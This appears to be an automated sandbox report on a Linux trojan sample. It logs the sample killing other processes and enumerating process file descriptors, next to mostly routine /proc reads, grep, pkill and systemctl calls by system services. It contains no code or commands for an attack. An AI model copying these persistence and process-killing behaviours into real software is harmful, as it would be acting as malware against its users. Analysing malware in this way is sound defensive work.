Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5961, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	SIGKILL sent: pid: 936, result: successful	Jump to behavior

Sample has stripped symbol table

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal100.spre.troj.lin@0/184@16/0

Persistence and Installation Behavior:

Sample reads /proc/mounts (often used for finding a writable filesystem)

Source: /usr/bin/dbus-daemon (PID: 5372)	File: /proc/5372/mounts	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5527)	File: /proc/5527/mounts	Jump to behavior
Source: /bin/fusermount (PID: 5544)	File: /proc/5544/mounts	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5571)	File: /proc/5571/mounts	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5671)	File: /proc/5671/mounts	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5757)	File: /proc/5757/mounts
Source: /usr/bin/dbus-daemon (PID: 5854)	File: /proc/5854/mounts
Source: /usr/bin/dbus-daemon (PID: 5947)	File: /proc/5947/mounts
Source: /usr/bin/dbus-daemon (PID: 5956)	File: /proc/5956/mounts
Source: /usr/bin/dbus-daemon (PID: 6046)	File: /proc/6046/mounts
Source: /usr/bin/dbus-daemon (PID: 6110)	File: /proc/6110/mounts

Executes the "kill" or "pkill" command typically used to terminate processes

Source: /usr/share/gdm/generate-config (PID: 5492)	Pkill executable: /usr/bin/pkill -> pkill --signal HUP --uid gdm dconf-service	Jump to behavior
Source: /usr/share/gdm/generate-config (PID: 5661)	Pkill executable: /usr/bin/pkill -> pkill --signal HUP --uid gdm dconf-service	Jump to behavior
Source: /usr/share/gdm/generate-config (PID: 5842)	Pkill executable: /usr/bin/pkill -> pkill --signal HUP --uid gdm dconf-service
Source: /usr/share/gdm/generate-config (PID: 6019)	Pkill executable: /usr/bin/pkill -> pkill --signal HUP --uid gdm dconf-service

Executes the "grep" command used to find patterns in files or piped streams

Source: /bin/sh (PID: 5472)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5474)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5476)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5478)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5480)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5483)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5485)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5489)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5518)	Grep executable: /usr/bin/grep -> grep -F .utf8	Jump to behavior
Source: /bin/sh (PID: 5635)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5637)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5640)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5642)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5644)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5646)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5651)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf	Jump to behavior
Source: /bin/sh (PID: 5655)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf	Jump to behavior
Source: /bin/sh (PID: 5755)	Grep executable: /usr/bin/grep -> grep -F .utf8
Source: /bin/sh (PID: 5821)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 5823)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 5825)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 5828)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 5831)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 5833)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 5838)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 5840)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 5928)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 5931)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nvidia[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 5935)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 5938)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.radeon[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 5942)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 5944)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.amdgpu[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf
Source: /bin/sh (PID: 5950)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf
Source: /bin/sh (PID: 5952)	Grep executable: /usr/bin/grep -> grep -G ^blacklist.nouveau[[:space:]]$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

Reads system information from the proc file system

Source: /lib/systemd/systemd-journald (PID: 5321)	Reads from proc file: /proc/meminfo	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5566)	Reads from proc file: /proc/meminfo	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5668)	Reads from proc file: /proc/meminfo	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5746)	Reads from proc file: /proc/meminfo
Source: /lib/systemd/systemd-journald (PID: 5850)	Reads from proc file: /proc/meminfo
Source: /lib/systemd/systemd-journald (PID: 5925)	Reads from proc file: /proc/meminfo
Source: /lib/systemd/systemd-journald (PID: 6033)	Reads from proc file: /proc/meminfo

Enumerates processes within the "proc" file system

Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/491/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/793/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/772/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/796/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/774/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/797/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/777/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/799/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/658/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/912/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/759/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/936/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/918/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/1/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/761/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/785/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/884/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/720/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/721/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/788/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/789/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/800/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/801/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/847/fd	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	File opened: /proc/904/fd	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6021/comm
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6021/cmdline
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6021/status
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6021/attr/current
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6021/sessionid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6021/loginuid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6021/cgroup
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6020/comm
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6020/cmdline
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6020/status
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6020/attr/current
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6020/sessionid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6020/loginuid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6020/cgroup
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6020/comm
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6020/cmdline
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6020/status
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6020/attr/current
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6020/sessionid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6020/loginuid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6020/cgroup
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6033/cmdline
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6033/status
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6033/attr/current
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6033/sessionid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6033/loginuid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6033/cgroup
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6024/comm
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6024/cmdline
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6024/status
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6024/attr/current
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6024/sessionid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6024/loginuid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6024/cgroup
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6046/comm
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6046/cmdline
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6046/status
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6046/attr/current
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6046/sessionid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6046/loginuid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6046/cgroup
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6049/comm
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6049/cmdline
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6049/status
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6049/attr/current
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6049/sessionid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6049/loginuid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6049/cgroup
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/5961/comm
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/5961/cmdline
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/5961/status
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/5961/attr/current
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/5961/sessionid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/5961/loginuid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/5961/cgroup
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6041/comm
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6041/cmdline
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6041/status
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6041/attr/current
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6041/sessionid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6041/loginuid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/6041/cgroup
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/5948/comm
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/5948/cmdline
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/5948/status
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/5948/attr/current
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/5948/sessionid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/5948/loginuid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/5948/cgroup
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/environ
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/sched
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/cgroup
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/status
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/comm
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/cmdline
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/attr/current
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/sessionid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/loginuid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/cgroup
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/comm
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/cmdline
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/status
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/attr/current
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/sessionid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/loginuid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/cgroup
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/comm
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/cmdline
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/status
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/attr/current
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/sessionid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/loginuid
Source: /lib/systemd/systemd-journald (PID: 6033)	File opened: /proc/1/cgroup

Executes the "systemctl" command used for controlling the systemd system and service manager

Source: /usr/sbin/invoke-rc.d (PID: 5238)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-enabled cups.service	Jump to behavior
Source: /usr/sbin/invoke-rc.d (PID: 5243)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-active cups.service	Jump to behavior
Source: /usr/lib/rsyslog/rsyslog-rotate (PID: 5247)	Systemctl executable: /usr/bin/systemctl -> systemctl kill -s HUP rsyslog.service	Jump to behavior

Creates hidden files and/or directories

Source: /usr/bin/whoopsie (PID: 5383)	Directory: /nonexistent/.cache	Jump to behavior
